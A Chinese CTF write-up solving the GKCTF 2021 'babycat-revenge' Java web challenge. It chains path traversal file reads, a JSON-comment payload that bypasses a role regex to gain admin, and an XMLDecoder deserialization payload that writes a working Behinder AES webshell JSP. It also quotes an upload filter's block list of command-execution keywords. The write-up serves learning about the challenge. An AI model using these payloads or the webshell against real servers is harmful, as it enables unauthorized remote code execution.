当前位置: 代码迷 >> 综合 >> 每日一题 [GKCTF 2021]babycat-revenge
  详细解决方案

每日一题 [GKCTF 2021]babycat-revenge

热度:82   发布时间:2023-12-22 00:13:48.0

前言

一道java web,边学边做吧。

1

开局一个登录框,我最讨厌的东西,请添加图片描述
要登陆,那就先注册,SIGN UP,发现不允许,点进去后空白,看源码得到请添加图片描述
就算是我这种不懂的也知道这是一个接口,bp抓登陆的包,把login改成register

POST /register HTTP/1.1
Host: 94ace70a-9adf-4241-86d6-811f67d27ab0.node4.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://94ace70a-9adf-4241-86d6-811f67d27ab0.node4.buuoj.cn:81
Connection: close
Referer: http://94ace70a-9adf-4241-86d6-811f67d27ab0.node4.buuoj.cn:81/
Cookie: JSESSIONID=11C6E5AFA74FC8976B94C879490E1E06data={"username":"admin","password":"admin"}

这就注册了一个号进来了

请添加图片描述
接下来就是常规操作试试了,upload试试,提示我权限不够,不是admin,Download试试,下载了一个猫猫动态图,怀疑这里可能有任意文件读取,抓个包改参数,奈何太菜了读的方向不对,看wp,先读web.xml请添加图片描述

<!DOCTYPE web-app PUBLIC"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN""http://java.sun.com/dtd/web-app_2_3.dtd" ><web-app><servlet><servlet-name>register</servlet-name><servlet-class>com.web.servlet.registerServlet</servlet-class></servlet><servlet><servlet-name>login</servlet-name><servlet-class>com.web.servlet.loginServlet</servlet-class></servlet><servlet><servlet-name>home</servlet-name><servlet-class>com.web.servlet.homeServlet</servlet-class></servlet><servlet><servlet-name>upload</servlet-name><servlet-class>com.web.servlet.uploadServlet</servlet-class></servlet><servlet><servlet-name>download</servlet-name><servlet-class>com.web.servlet.downloadServlet</servlet-class></servlet><servlet><servlet-name>logout</servlet-name><servlet-class>com.web.servlet.logoutServlet</servlet-class></servlet><servlet-mapping><servlet-name>logout</servlet-name><url-pattern>/logout</url-pattern></servlet-mapping><servlet-mapping><servlet-name>download</servlet-name><url-pattern>/home/download</url-pattern></servlet-mapping><servlet-mapping><servlet-name>register</servlet-name><url-pattern>/register</url-pattern></servlet-mapping><display-name>java</display-name><servlet-mapping><servlet-name>login</servlet-name><url-pattern>/login</url-pattern></servlet-mapping><servlet-mapping><servlet-name>home</servlet-name><url-pattern>/home</url-pattern></servlet-mapping><servlet-mapping><servlet-name>upload</servlet-name><url-pattern>/home/upload</url-pattern></servlet-mapping><filter><filter-name>loginFilter</filter-name><filter-class>com.web.filter.LoginFilter</filter-class></filter><filter-mapping><filter-name>loginFilter</filter-name><url-pattern>/home/*</url-pattern></filter-mapping><display-name>java</display-name><welcome-file-list><welcome-file>/WEB-INF/index.jsp</welcome-file></welcome-file-list>
</web-app>

关于web.xml文件内容的详解点这里
其实关于该看哪些目录下的什么文件,只要你有一个java项目就比较清楚了
读…/…/WEB-INF/classes/com/web/servlet/registerServlet.class
正常打开肯定都是乱码,反编译一波,我直接在线网站了。得到

package com.web.servlet;import com.google.gson.Gson;
import com.mysql.cj.util.StringUtils;
import com.web.dao.Person;
import com.web.dao.baseDao;
import java.io.IOException;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;public class registerServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    resp.setContentType("text/html;charset=UTF-8");req.setAttribute("error", "<script>alert(\'Not Allowed\')</script>");req.getRequestDispatcher("WEB-INF/register.jsp").forward(req, resp);}protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    resp.setCharacterEncoding("UTF-8");Integer res = Integer.valueOf(0);String role = "";Gson gson = new Gson();new Person();Connection connection = null;String var = req.getParameter("data").replaceAll(" ", "").replace("\'", "\"");Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");for(Matcher matcher = pattern.matcher(var); matcher.find(); role = matcher.group()) {
    ;}Person person;if(!StringUtils.isNullOrEmpty(role)) {
    var = var.replace(role, "\"role\":\"guest\"");person = (Person)gson.fromJson(var, Person.class);} else {
    person = (Person)gson.fromJson(var, Person.class);person.setRole("guest");}System.out.println(person);if(person.getUsername() == null || person.getPassword() == null) {
    resp.sendError(500, "鐢ㄦ埛鍚嶆垨瀵嗙爜涓嶈兘涓虹┖!");}person.setPic("/static/cat.gif");try {
    connection = baseDao.getConnection();} catch (Exception var17) {
    var17.printStackTrace();}if(connection != null) {
    String sql_query = "select * from ctf where username=?";Object[] params1 = new Object[]{
    person.getUsername()};try {
    ResultSet e = baseDao.execute(connection, sql_query, params1);if(e.next()) {
    System.out.println(e.next());resp.sendError(500, "user already exists!");} else {
    String sql = "insert into ctf (username,password,role,pic) values (?,?,?,?)";Object[] params2 = new Object[]{
    person.getUsername(), person.getPassword(), person.getRole(), person.getPic()};res = Integer.valueOf(baseDao.Update(connection, sql, params2));}} catch (SQLException var16) {
    var16.printStackTrace();}baseDao.closeResource(connection, (ResultSet)null, (PreparedStatement)null);}if(res.intValue() == 1) {
    resp.getWriter().write("register success!");}}
}

简单审下代码,前面哪些看不懂,看到replace我就来劲了,况且下面还有个role,毕竟要让自己变成admin才能上传文件才能进行下一步的操作,所以重点看这里

String var = req.getParameter("data").replaceAll(" ", "").replace("\'", "\"");
Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"");

看不懂就搜一下,这属于是正则匹配,先接受data,也就是注册的时候看到的data{},下面还会循环效验,这里摘抄下别的师傅说的,我觉得说的很清楚:
正则表达式中包含了

"\"role\":\"(.*?)\""

会把所有内容进行完整匹配,但是JSON中的内联注释不会影响其解析,因此可以使用注释来破坏正则匹配,为了让其不直接走if的另外一个分支,我们还是需要让正则匹配有结果从而保证role变量有内容。JSON中键值一样的数据解析时后面的会覆盖前面的,因此可以构造如下payload

data={"username":"july", "password":"123456","role":"superuser", "role"/**/:"admin"}

可以注意到这里取得的正则匹配结果是最后一个,在可以使用注释的情况下,可以构造如下payload。

{"username":"sapphire","password":"admin","role":"admin"/*,"role":"guest"*/}

请添加图片描述

登陆成功~!admin权限,那么就可以upload了,再利用任意文件读取看看upload的代码

package com.web.servlet;import com.web.dao.Person;
import com.web.util.tools;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.List;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;@MultipartConfig
public class uploadServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String admin = "admin";Person user = (Person)req.getSession().getAttribute("user");System.out.println(user.getRole());if(!admin.equals(user.getRole())) {
    req.setAttribute("error", "<script>alert(\'admin only\');history.back(-1)</script>");req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);} else {
    ArrayList fileNames = new ArrayList();tools.findFileList(new File(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/"), fileNames);req.setAttribute("files", fileNames);System.out.println(fileNames);req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);}req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);}protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    String admin = "admin";Person user = (Person)req.getSession().getAttribute("user");System.out.println(user.getRole());if(!admin.equals(user.getRole())) {
    resp.sendRedirect("/home");} else {
    if(!ServletFileUpload.isMultipartContent(req)) {
    req.setAttribute("error", "<script>alert(\'something wrong\');history.back(-1)</script>");req.getRequestDispatcher("../WEB-INF/error.jsp").forward(req, resp);}DiskFileItemFactory factory = new DiskFileItemFactory();factory.setSizeThreshold(3145728);factory.setRepository(new File(System.getProperty("java.io.tmpdir")));ServletFileUpload upload = new ServletFileUpload(factory);upload.setFileSizeMax(41943040L);upload.setSizeMax(52428800L);String uploadPath = System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/upload/";try {
    List ex = upload.parseRequest(req);if(ex != null && ex.size() > 0) {
    Iterator var9 = ex.iterator();while(var9.hasNext()) {
    FileItem item = (FileItem)var9.next();if(!item.isFormField()) {
    String fileName = item.getName();String ext = fileName.substring(fileName.lastIndexOf(".")).replace(".", "");String name = fileName.replace(ext, "");if(!checkExt(ext) && !checkContent(item.getInputStream())) {
    String filePath = uploadPath + File.separator + name + ext;File storeFile = new File(filePath);item.write(storeFile);req.setAttribute("error", "upload success!");} else {
    req.setAttribute("error", "upload failed");req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);}}}}} catch (Exception var16) {
    req.setAttribute("error", "<script>alert(\'something wrong\');history.back(-1)</script>");}req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);}}private static boolean checkExt(String ext) {
    boolean flag = false;String[] extWhiteList = new String[]{
    "jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt"};if(!Arrays.asList(extWhiteList).contains(ext.toLowerCase())) {
    flag = true;}return flag;}private static boolean checkContent(InputStream item) throws IOException {
    boolean flag = false;InputStreamReader input = new InputStreamReader(item);BufferedReader bf = new BufferedReader(input);String line = null;StringBuilder sb = new StringBuilder();while((line = bf.readLine()) != null) {
    sb.append(line);}String content = sb.toString();String[] blackList = new String[]{
    "Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"};for(int i = 0; i < blackList.length; ++i) {
    if(content.contains(blackList[i])) {
    flag = true;}}return flag;}
}

以下为看wp
在baseDao里有这样一段代码

public static void getConfig() throws FileNotFoundException {
    HashMap map;Object obj = new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/db/db.xml")).readObject();if ((obj instanceof HashMap) && (map = (HashMap) obj) != null && map.get("url") != null) {
    driver = (String) map.get("driver");url = (String) map.get("url");username = (String) map.get("username");password = (String) map.get("password");}
}

其中 System.getenv(“CATALINA_HOME”) 可以使用前面的文件包含读取 /proc/self/environ 得到为 /usr/local/tomcat。因此可以尝试将 db.xml 覆盖为恶意代码后使用注册业务触发 XMLDecoder 反序列化。上传业务中还对上传的内容执行了检测。

private static boolean checkContent(InputStream item) throws IOException {
    String[] blackList;boolean flag = false;BufferedReader bf = new BufferedReader(new InputStreamReader(item));StringBuilder sb = new StringBuilder();while (true) {
    String line = bf.readLine();if (line == null) {
    break;}sb.append(line);}String content = sb.toString();for (String str : new String[]{
    "Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"}) {
    if (content.contains(str)) {
    flag = true;}}return flag;}
}

利用过程:随便传一个文件然后抓包修改如下:请添加图片描述
因为题目提示了PrintWriter,这里就用java.io.PrintWriter
先下载冰蝎。
payload这里有两种(或者说三种),反弹shell的我就不打上来了

<?xml version="1.0" encoding="UTF-8"?> 
<java version="1.8.0_192" class="java.beans.XMLDecoder"> 
<object class="java.io.PrintWriter"> 
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void
method="println">
<string>
<![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string>
</void><void method="close"/>
</object>
</java> 
<?xml version="1.0" encoding="utf-8"?>
<java class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"><string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void method="println"><string><![CDATA[冰蝎内shell.jsp的内容]]></string></void><void method="close"/></object>
</java>

两种payload大同小异.
上传成功之后我们重新登录一次或者随便注册一个账号使得他触发漏洞,然后用冰蝎连接,密码默认为rebeyond,连上以后看到文件下有个readflag直接执行即可拿到flag
请添加图片描述
请添加图片描述